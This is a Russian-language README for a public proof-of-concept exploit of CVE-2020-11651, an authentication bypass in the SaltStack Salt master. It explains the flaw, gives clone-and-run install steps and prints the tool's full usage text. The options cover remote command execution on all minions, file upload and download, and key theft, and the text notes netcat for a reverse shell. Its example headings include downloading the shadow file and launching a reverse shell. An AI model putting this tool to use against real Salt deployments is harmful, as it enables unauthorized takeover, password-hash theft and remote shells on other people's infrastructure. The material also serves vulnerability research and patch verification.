CVE-2020-11651

Проблема была обнаружена в SaltStack Salt до версий 2019.2.4 и 3000 до 3000.2. Класс ClearFuncs процесса salt-master не выполняет надлежащую проверку вызовов методов. Это позволяет удаленному пользователю получать доступ к некоторым методам без аутентификации. Эти методы могут использоваться для получения токенов пользователей с мастера Salt и/или выполнения произвольных команд на миньонах Salt.

Подробности

Патчи для неподдерживаемых версий Salt

Установка

git clone https://github.com/0xc0d/CVE-2020-11651.git ~/CVE-2020-11651
chmod +x ~/CVE-2020-11651/PoC.py

Использование

$ ~/CVE-2020-11651/PoC.py -h
usage: PoC.py [-h] --host HOST [--port PORT] [--execute COMMAND] [--upload src dest] [--download src dest] [--minions] [--quiet] [--fetch-key-only]

CVE-2020-11651 PoC

optional arguments:
  -h, --help            show this help message and exit
  --host HOST, -t HOST
  --port PORT, -p PORT
  --execute COMMAND, -e COMMAND
                        Command to execute. Defaul: /bin/sh (use netcat for reverse shell)
  --upload src dest, -u src dest
                        Upload a file
  --download src dest, -d src dest
                        Download a file
  --minions             Send command to all minions on master
  --quiet, -q           Enable quiet/silent mode
  --fetch-key-only      Only fetch the key

CVE-2020-11651

Популярное

Пример

Загрузка файла shadow

Запуск обратного шелла

Получение ключа